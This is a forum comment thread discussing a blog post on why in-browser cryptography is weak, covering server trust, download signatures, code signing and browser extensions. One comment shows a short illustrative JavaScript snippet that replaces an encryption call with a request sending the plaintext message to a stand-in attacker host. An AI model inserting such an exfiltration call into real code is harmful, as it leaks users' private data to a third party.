What's wrong with in-browser cryptography?
tonyarcieri.com
tonyarcieri.com
For instance you can have a greasemonkey script that tells you when the crypto code is different from last time.
The best solution realistically would be SSL plus encrypting data first in the browser (separately encrypt the data and the transmission of it).
Best solution is not to try to build any kind of webapp that touches client-side crypto. If you have to, package everything in an extension since you'll need one to distribute your public key anyway.
BUT...
That said, this entire post is about why even when the fundamentals of exposing cryptographic primitives into the browser are solved, the browser is still a bad platform for cryptography applications, particularly when the user doesn't want to trust the server.
when i download security relevant software, the website usually gives me a hash/signature of the download file, so i can verify afterwards whether the data i downloaded really is the file i want or whether it has been tampered with.
but in case an attacker switches the downloaded file for a malignant one, why should s/he be so stupid and not also switch the hash/signature on the website? i am positive i am missing something, as really smart people [0] are doing this, but i do not get it. thanks in advance.
Because the signature only has to be generated when a new version of the file is released, you can use the most bothersome (and effective) manual methods of security, like keeping the private key on an air gapped [2] computer.
So if an attacker manages to switch the downloaded file for a malicious one, they may still not have got access to the private key used for release signing.
Of course, the attacker could still remove all links to the signature file and all mention of it in the public documentation, so downloaders wouldn't know there was a signature to check. So it's better if the site isn't compromised in the first place.
[1] https://en.wikipedia.org/wiki/Public-key_cryptography [2] https://en.wikipedia.org/wiki/Air_gap_%28networking%29
What they're assuming is that someone who has compromised the download servers won't also compromise the rest of the web site. That's certainly a possibility though.
An attacker who compromises both could trick you into downloading compromised software, even though you're checking the hashes from the web site. There are also multiple ways they could pull this off.
For what it's work, much of The Update Framework work which I referenced in the blog post has come out of Thandy, the Tor updater. The model Tor is providing here is often referred to as TOFU, or "Trust On First Use", i.e. once you have received a good copy of Thandy, you will continue to receive uncompromised versions of the software.
i wonder if having a public, open-source cdn specifically for crypto libs with known sha256 signatures and having a standard way to "require" them in the html standard that differs from how regular scripts can be included/injected now. or even include them in browsers so they're auto-updated by the vendors or some central trusted authority.
var ciphertext = StandardCrypto.aes(my_key, my_message);
to // disable crypto
var ciphertext = my_message;
// or send plaintext to h4x.com
send_jsonp('http://h4x.com/collect?msg='+my_message);
var ciphertext = StandardCrypto.aes(my_key, my_message);
Standard crypto libs won't do you any good if you aren't actually calling them.not true. if i distribute an app that encrypts user data (based on a username/password-derived key), stores it on a server, and lets them access it anywhere (from the app), the server can be stupid as a bag of rocks and know nothing about the data, and more importantly, require absolutely no trust from the client because the client encrypts everything via code it owns. at this point, the user only needs to trust the app and the platform it runs on, because the server has absolutely nothing to do with the encryption.
you can't say, for example, that Lavabit could still provide a service without knowing the recipient's decrypted email address.
Doing in-browser crypto requires less trust than server-side crypto. With in-browser crypto, the server would have to do an active attack and serve malicious scripts, which could be detected. When everything happens in the server all the time, it would be a passive attack that doesn't require any client-side modification and could easily go undetected.
Also, with open-source websites, people could audit the source code and ensure it works as advertised. Combined with a browser extension that verifies the source code from the website matches the code on the public code repository, this could make it much easier to trust websites to do in-browser crypto right.
This is much like the exception the OP mentions at LivingSocial. Can anyone weigh in on whether that's safe?
Couldn't hurt to use asymmetric encryption using the provider's public key, but just beware that without packaging/signing the crypto code, it's a tossup whether or not it's actually there.
Edit: if it's absolutely imperative that the server not be able to read the message, then not packaging all the code is unsafe. However, if the server not being able to read the message is nice to have but non-essential, then by all means, run your code in a webapp.
If the server was really compromised, it could just copy the CC# into another field in the form (so it gets sent twice, encrypted and unencrypted) - and the server would get the data without having to change the JS. Integrity checks would not turn anything up. A properly paranoid browser extension should have a specified format for sending a form, so that no extra information is leaked.
In my case it's bids rather than CC#s, though the same pattern holds of encrypting with the tender creator's public key.
We must stop living in this fantasy playground of pretending no security in the browser is acceptable, because important things like passwords, PIN numbers and credit card numbers pass through it.
An ability to sign (not hashes, signed) and verify JS, CSS and HTML would be a start. Once verified, a security policy* is applied further sandboxing an app so it doesn't go to shit with modifications or inappropriate introspections by injected or malicious code (while usually retaining normal things like the browser and plugins). Also reasonable limits to mark objects and parts of the DOM as only available to certain objects, not Orwellian mandates to throw webdev into chaos.
This is something that would take a great deal of coordination with reluctant vendors that see change as cost, but it would be the biggest win for browser security.
* Something a bazillion times easier to use than SELinux.
This apparently exists, although I've never managed to get it to work myself: http://www-archive.mozilla.org/projects/security/components/...
With something like Firefox, you're kind of screwed. For instance, if I open firebug while using my Turtl extension, I can read the contents of memory right there...there's no real separation/sandboxing between extensions. If one extension can read the contents of another, you've got problems. Chrome does this better.
The best way is to package everything into a separate (os-level) app.
I agree with this on the premise of threats like XSS, however there is a human aspect of security which might be overlooked. The problem with apps is that everything that is a website today will become a native app tomorrow. App developers might claim that their app is more secure than using a website to do the same thing, because of the included native crypto implementation. Users might then associate any native app with having greater security than a website accessed through a browser (which may not necessarily be true.) Users might become further desensitized to installing everything from the internet as an app.
Why is this a problem? Websites normally cannot access things like your personal files, without you explicitly choosing a file from your computer using a file dialog, whereas if you run a native app with your user credentials, it is immediately able to access any file that you have permission to access, without necessarily informing you.
Perhaps OS-level security and sandboxing is going to have to improve for this sort of thing to be a good option.
There's also a barrier to entry to get a user to install anything. Mobile is different, but in the desktop world, if I told my users to download the "CNN desktop app!" they'd roll their eyes because why would anyone install some trashy malware-ridden program when they can just look at the website, for free, and as you put it, much safer? From my perspective, the only reason to distribute a "secure" desktop app version of your webapp is if you don't have a webapp to begin with because it's not secure to do so. So the desktop app would be an open-source complement to the browser extensions your secure app uses.
("Browser extension" at https://www.bitrated.com/security.html)
This two-factor verification helps protect against attacks, both by a third party attacker and by the service operator itself.
Since hardware and firmware can also be subverted, IMO a new security model should also be able to track and limit what network traffic is intended so that the network traffic actually generated can be (potentially) verified by additional machines on the network and/or by other verifier virtual machines on the same system.
It's not language-specific. App stores already work this way (including the Chrome web store), so a deployment mechanism is there; it's just not used as often as it should be.
It's funny, back in the day we debated ActiveX (code signing) versus sandboxes (Java and JavaScript) and the real answer is that you should have both (as Android does).
But code signing isn't magic either. You still need someone to do the auditing, and users to be careful about what they run. Since users are so trusting, I'm not sure that app stores in practice are any more secure.
It just boils down to the CA based system that is already employed by HTTPS. You must of course trust the other party and their systems, but that's the exact same with code signing. To identify the other party, code signing uses a pre-shared secret (e.g. your OS comes pre-installed with their public key). In HTTPS you identify the other party by them possessing the right certificate, that's signed by a trusted intermediary. There's no really better way to do it, bar quantum crypto and HTTPS+DNSSEC, which is sadly not widely supported.
Also, in theory, an independent auditor could rebuild the app from source and verify that the bits match, and do an independent audit of the source. So signed apps are more verifiable.
The trusted base for a signed app is (browser + app + app signer), not (browser + app + server), where the server might be a virtual machine in the cloud and you need to trust the virtual machine host provider too.
This doesn't matter most of the time because you have to trust the server anyway, but in the case of someone wanting to encrypt something on the client that cannot be decrypted on the server, it does matter. Encrypting on the client is mostly pointless unless the client code is independent of the server, which requires it to be independently signed.
There is still a cert chain of course, but it's a different one where the developer's private key doesn't get uploaded to the server.
Signed apps are fundamentally not how the web works. The argument here is that the web is basically broken for client-side encryption and the app store model is better for things like secure email or a bitcoin wallet.
But since most app store apps aren't open source and the open source ones aren't independently audited in practice, it's not clear it's a practical difference.
If you only need security theater just stick to ROT-13.
As a tiny little sub area of computational activity, writing crypto is total sorcerers apprentice territory.
Remember, people with years of training and experience in the field have had their work defeated time and again. Do you really feel certain Joe Coder will make fewer mistakes than they did?